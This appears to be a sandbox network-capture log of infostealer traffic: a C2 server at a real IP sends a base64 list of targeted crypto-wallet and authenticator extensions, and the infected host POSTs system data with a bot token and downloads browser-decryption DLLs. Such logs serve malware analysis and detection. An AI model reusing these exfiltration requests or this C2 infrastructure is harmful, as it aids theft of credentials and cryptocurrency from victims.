Oct 7, 2024 21:19:01.632675886 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 21:19:01.632718086 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 21:19:01.632754087 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 21:19:01.632819891 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Oct 7, 2024 21:19:01.632855892 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Oct 7, 2024 21:19:01.632890940 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 7, 2024 21:19:01.632931948 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 7, 2024 21:19:01.634721994 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Oct 7, 2024 21:19:01.851839066 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 21:19:01.877123117 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.37 Content-Length: 6871 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:01.877177000 CEST	6871	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 21:19:02.611409903 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:02.955111980 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:03.170696020 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 21:19:03.170737982 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 21:19:03.170773029 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 7, 2024 21:19:08.653163910 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:09.362334013 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:09.468909025 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHCBAEHJJJKKFIDGHJE Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:10.186948061 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:10.206829071 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file"------KECFIDGCBFBAKEBFBKFB--
Oct 7, 2024 21:19:10.923826933 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:11.865719080 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file"------AAFIJKKEHJDHJKFIECAA--
Oct 7, 2024 21:19:12.575113058 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:12.857803106 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:13.072953939 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 21:19:15.712325096 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:15.929651976 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 21:19:17.872554064 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 21:19:18.087668896 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
